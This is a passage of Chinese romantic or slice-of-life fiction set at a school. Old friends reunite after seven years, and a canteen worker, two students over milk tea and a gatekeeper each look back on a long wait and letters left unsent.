    沈悸冥走到他面前。


    “等多久了?” 他问。


    “四十分钟。” 渊说。


    “不是七点零三分就出校门了吗。”


    “嗯。”


    “那怎么四十分钟才走到这?”


    渊没有回答。


    他低着头。


    “……在校门口站了一会儿。” 他说。


    “站什么?”


    “在想——”


    “进去之后,第一句话说什么。”


    沈悸冥看着他。


    “想出来了吗?”


    “没有。” 渊说。


    “草稿打了二十三遍。”


    “还是觉得不对。”


    沈悸冥没有说话。


    他从口袋里摸出那封没拆的信。


    “这个,” 他问,“还要看吗?”


    渊愣了一下。


    “……你没拆?”


    “没。”


    “为什么?”


    沈悸冥把那封信放回口袋。


    “因为等的人已经回来了。” 他说。


    “纸上的字,可以慢慢看。”


    “——”


    “先听你说。”


    渊看着他。


    很久。


    “沈悸冥。” 他说。


    “嗯。”


    “我回来是找你的。”


    “嗯。”


    “七年前走的时候——”


    “我以为你不会等。”


    “嗯。”


    “但你还是等了。”


    “嗯。”


    “为什么?”


    沈悸冥没有回答。


    他站在第十三级台阶上。


    低头看着那行刻了三年的字。


    和下面那行新的。


    「但寻找本身,就是一种爱。」


    「——渊·补」


    “因为你这七年,” 他说,“也在找我。”


    渊没有说话。


    “你只是不知道——” 沈悸冥说,“找一个人,不一定要翻山越岭。”


    “也可以站在这里。”


    “等他回来。”


    “——”


    “然后告诉他——”


    “你画的那张毕业照,虚线框——”


    “我站了七年。”


    “现在该你站回来了。”


    ---


    【周一·中午十二点零七分·食堂二号窗】


    刘金凤把档口牌翻过来。


    「营业中」


    队伍从窗口排到了门口。


    今天是一百零七份。


    她把锅洗了。


    把灶台擦了。


    把明天要用的酱汁调好——还是陈熠的配方。


    然后她从后厨摸出那块老式收音机。


    拧开。


    里面那首很老的歌还在放。


    她跟着哼了几句。


    窗外阳光很好。


    她忽然想起今天早上那十七分钟广播。


    “……他说他叫唐棠。”


    “高一三班。”


    “排名九十七。”


    “上周五还在广场外围举手机。”


    “今天就在广播站把过去七年捋了一遍。”


    刘金凤把收音机关掉。


    把档口牌擦了又擦。


    放回柜子里。


    ——她在这干了十五年。


    ——什么样的学生都见过。


    ——但今天这个,她记住了。


    不是因为她是第一个在广播站讲清楚守望者计划的人。


    是因为她讲完最后一句,顿了三秒。


    然后她说:


    “对了,还有一件事。”


    “上周五,有人问我:‘你录那么多视频,有什么用?’”


    “我当时不知道怎么回答。”


    “现在我知道了。”


    “——”


    “为了等今天。”


    “站在这里,亲口告诉你们——”


    “那些没有机会亲口说出‘我在’的人。”


    “他们的名字。”


    “他们等过谁。”


    “他们被谁等过。”


    “他们回来的时候,校门口的阳光是什么颜色。”


    刘金凤把抹布挂好。


    她忽然想起十五年前——


    那个穿灰色开衫的男人站在二号窗口前,问她:


    “阿姨,你们这什么最好吃?”


    “意面。”


    “那我要两份。”


    “一份现在吃,一份——”


    “留给以后会来的人。”


    “——”


    “他叫什么名字?”


    “渊。”


    刘金凤把这句话记了十五年。


    今天,她终于知道——


    那个“以后会来的人”,是谁了。


    ---


    【周一·下午两点十七分·高二三班·走廊】


    方迟靠在窗边。


    他看着楼下广场。


    那里,渊和沈悸冥正并肩站着。


    ——不是旧音乐厅。


    ——是广场中央。


    ——光天化日,两千多人来来往往。


    他们站在一起。


    七年了。


    他第一次看见沈悸冥在外面站着的时候,眼睛不是眯着的。


    是弯的。


    真正的弯。


    不是怕被人看见难过的那种眯。


    是看见想见的人、终于不用藏着的那种弯。


    方迟把视线收回来。


    他低下头。


    校服扣到第一颗。


    ——渊的习惯。


    ——他学了七年。


    ——今天,渊回来了。


    ——他好像……不用再学了。


    “……你在这。”


    他抬头。


    程渊站在他旁边。


    “看什么?” 程渊问。


    “……没什么。”


    程渊顺着他的视线看过去。


    楼下,渊和沈悸冥还在站着。


    不知道在说什么。


    沈悸冥笑了一下。


    渊也笑了一下。


    “……他们这样,会站多久?” 程渊问。


    “不知道。” 方迟说。


    “渊以前等人,能等四十分钟。”


    “沈悸冥等人,能等七年。”


    “他俩一起等——”


    他顿了顿。


    “大概能等到太阳下山。”


    程渊沉默了几秒。


    “……那我们先去吃晚饭?” 他问。


    方迟看着他。


    “你饿了?”


    “有一点。”


    “现在才两点。”


    “两点也可以吃饭。” 程渊理直气壮。


    “食堂二号窗的意面,我还没吃过。”


    “我爸说那是全校最好吃的。”


    方迟看着他。


    三秒。


    “你爸骗你的。” 他说。


    “二号窗只有意面。”


    “全校最好吃的,是北门外那家茶餐厅的冻奶茶。”


    程渊愣了一下。


    “……你去过?”


    “去过。” 方迟说。


    “渊带我去过。”


    “七年前。”


    “他说那是他唯一会点的饮料。”


    “因为不需要等。”


    “——”


    “去了就有。”


    程渊没有说话。


    他看着方迟。


    很久。


    “……你真的很像我爸。” 他说。


    方迟愣了一下。


    “……什么?”


    “不是长相。” 程渊说。


    “是那种——”


    “把所有事都记得很清楚。”


    “然后假装只是顺便记得。”


    方迟没有说话。


    他把校服领口又往上拉了拉。


    “……走了。” 他说。


    “去哪?”


    “北门。”


    “请你喝冻奶茶。”


    “——”


    “顺便——”


    他顿了顿。


    “告诉你一些你爸没来得及告诉你的事。”


    ---


    【周一·下午四点零三分·北门·茶餐厅】


    方迟把冻奶茶推到程渊面前。


    程渊低头喝了一口。


    “……好喝。” 他说。


    “比我爸形容的还好喝。”


    方迟没有接话。


    他低头看着自己的那杯。


    “你爸第一次带我来这里,” 他说,“是七年前的九月。”


    “守望者计划被否决的第三天。”


    “他坐在这里,喝了一杯冻奶茶。”


    “一句话没说。”


    “喝完,他说:”


    「方迟。」


    「如果有一天我走了——」


    「你替我做一件事。」


    “我问:什么事?”


    “他说:”


    「替我看着沈悸冥。」


    「他看起来什么都不在乎。」


    「其实什么都放不下。」


    “——”


    “我问他:你为什么不自己看?”


    “他没有回答。”


    “他把那杯奶茶喝完。”


    “站起来。”


    “走了。”


    程渊没有说话。


    他低头看着杯子里那层薄薄的奶沫。


    “……他后来给你写信了吗?” 他问。


    “写了。” 方迟说。


    “夹在北门仓库的门缝里。”


    “我换锁的时候发现的。”


    “——”


    「方迟,如果你看到这封信——」


    「替我去看看沈悸冥。」


    「他笑起来很好看。」


    「但他笑的时候,眼睛不是弯的,是眯的。」


    「眯起来是因为怕别人看见他在难过。」


    「——我一直都知道。」


    「只是来不及告诉他了。」


    「你帮我说。」


    程渊听着。


    没有打断。


    方迟把那封信背完。


    然后他顿了一下。


    “我存了七年。” 他说。


    “没转达。”


    “不是忘了。”


    “是不知道怎么开口。”


    “——”


    “我怕他问我:你为什么要替他说?”


    “你和渊是什么关系?”


    “我不知道怎么回答。”


    程渊看着他。


    “那你现在知道了吗?” 他问。


    方迟沉默了很久。


    久到程渊以为他不会回答了。


    然后他说:


    “是‘也想被他那样记住’的关系。”


    程渊没有说话。


    他低头看着那杯冻奶茶。


    杯壁上凝着细密的水珠。


    一滴一滴往下滑。


    “……我爸应该知道。” 他说。


    方迟抬头。


    “他那个人——” 程渊说,“看起来什么都不在乎。”


    “其实什么都记得。”


    “你帮他存了七年的话。”


    “他一定知道。”


    “——”


    “他只是不知道该怎么谢你。”


    方迟没有说话。


    他把那杯冻奶茶端起来。


    喝了一口。


    “……不用谢。” 他说。


    “存都存了。”


    ---


    【周一·傍晚十七点四十七分·校门口】


    老张把值班日志翻到新的一页。


    「17:47,渊和沈悸冥从校门走出去。」


    「并肩。」


    「没有等谁。」


    「也没有送谁。」


    「就是一起走出去。」


    「——像终于不用再等了的人,该有的样子。」


    他写完。


    放下笔。


    端起茶杯。


    抿了一口。


    ——今天这事,够他在门卫室讲一辈子。